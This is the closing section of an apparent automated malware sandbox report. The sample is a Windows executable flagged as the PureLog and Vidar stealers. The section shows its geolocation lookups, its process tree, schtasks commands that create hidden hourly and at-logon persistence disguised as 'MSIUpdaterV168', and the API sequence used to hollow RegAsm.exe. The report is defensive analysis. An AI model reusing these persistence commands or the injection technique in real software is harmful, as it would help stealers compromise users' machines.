America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":[
2024-06-27 04:46:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49777	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:45 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-27 04:46:45 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 27 Jun 2024 04:46:45 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-27 04:46:45 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-27 04:46:45 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49778	104.26.4.15	443

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:45 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-27 04:46:45 UTC	653	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:46:45 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC466F27:B4C8_93878F2E:0050_667CEEB5_15F4BB86:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jERN8QowQNcM18EJRR%2FrcLbDXkHABSAY%2BGuHEo1qJcFoduSD2tWgysE2ZtSkEUc0oYiLXTlTHoYGmWP4PPSGbWnNYC7mGEgXIGqmQOjeYwmWbJLfr1UFm3TcYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89a2cb8f6b95c42c-EWR alt-svc: h3=":443"; ma=86400
2024-06-27 04:46:45 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-27 04:46:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:44:05
Start date:	27/06/2024
Path:	C:\Users\user\Desktop\BRWgvKaqbg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BRWgvKaqbg.exe"
Imagebase:	0x570000
File size:	1'847'296 bytes
MD5 hash:	C72E70F29D3DD8FA148DF55E8E6DEC43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:44:05
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x320000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:44:05
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x990000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:44:05
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6664 -s 280
Imagebase:	0xfd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:44:19
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:44:19
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe"
Imagebase:	0xda0000
File size:	1'847'296 bytes
MD5 hash:	C72E70F29D3DD8FA148DF55E8E6DEC43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
Imagebase:	0x620000
File size:	1'847'296 bytes
MD5 hash:	C72E70F29D3DD8FA148DF55E8E6DEC43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe
Imagebase:	0x620000
File size:	1'847'296 bytes
MD5 hash:	C72E70F29D3DD8FA148DF55E8E6DEC43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x3a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x110000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x320000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:44:20
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:44:21
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 264
Imagebase:	0xfd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:44:21
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:44:21
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:44:21
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:44:21
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:44:22
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe"
Imagebase:	0xbd0000
File size:	703'488 bytes
MD5 hash:	F3D3B5411E090124197B7B6297B1D8DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001A.00000002.2302133706.0000000000BFF000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 62%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:44:22
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:44:22
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x880000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001C.00000002.2274013587.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:44:22
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:44:22
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7148 -s 320
Imagebase:	0xfd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:44:22
Start date:	27/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
Imagebase:	0xc30000
File size:	703'488 bytes
MD5 hash:	F3D3B5411E090124197B7B6297B1D8DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000021.00000002.2304761546.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 62%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:44:23
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:44:23
Start date:	27/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe
Imagebase:	0xc30000
File size:	703'488 bytes
MD5 hash:	F3D3B5411E090124197B7B6297B1D8DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000023.00000002.2326752861.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:44:23
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:44:24
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:44:24
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:44:24
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf50000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:44:24
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x140000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:44:24
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe"
Imagebase:	0x430000
File size:	411'136 bytes
MD5 hash:	CB907B20EE4FB4389D25989D7DE466E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:44:24
Start date:	27/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	00:44:24
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7288 -s 280
Imagebase:	0xfd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:44:25
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:44:25
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	1055
Total number of Limit Nodes:	4

Executed Functions

Function 0056018D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,005600FF,005600EF), ref: 005602FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0056030F
Wow64GetThreadContext.KERNEL32(00000130,00000000), ref: 0056032D
ReadProcessMemory.KERNELBASE(00000134,?,00560143,00000004,00000000), ref: 00560351
VirtualAllocEx.KERNELBASE(00000134,?,?,00003000,00000040), ref: 0056037C
TerminateProcess.KERNELBASE(00000134,00000000), ref: 0056039B
WriteProcessMemory.KERNELBASE(00000134,00000000,?,?,00000000,?), ref: 005603D4
WriteProcessMemory.KERNELBASE(00000134,00400000,?,?,00000000,?,00000028), ref: 0056041F
WriteProcessMemory.KERNELBASE(00000134,?,?,00000004,00000000), ref: 0056045D
Wow64SetThreadContext.KERNEL32(00000130,007D0000), ref: 00560499
ResumeThread.KERNELBASE(00000130), ref: 005604A8

Strings

CreateProcessA, xrefs: 00560241
ress, xrefs: 00560217
WriteProcessMemory, xrefs: 005602A0
VirtualAllocEx, xrefs: 0056028D
aryA, xrefs: 005601D3
SetThreadContext, xrefs: 005602B3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 005602FB
ResumeThread, xrefs: 005602C9
ReadProcessMemory, xrefs: 0056027A
TerminateProcess, xrefs: 0056038B
GetP, xrefs: 0056020F
VirtualAlloc, xrefs: 00560254
GetThreadContext, xrefs: 00560267
Load, xrefs: 005601CB

Memory Dump Source

Source File: 00000000.00000002.2242814623.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_BRWgvKaqbg.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: da7a7c93f5efb14ee6d4fdd2f8bcf5d234956018d6f7fe0eb150f0221214f3e2
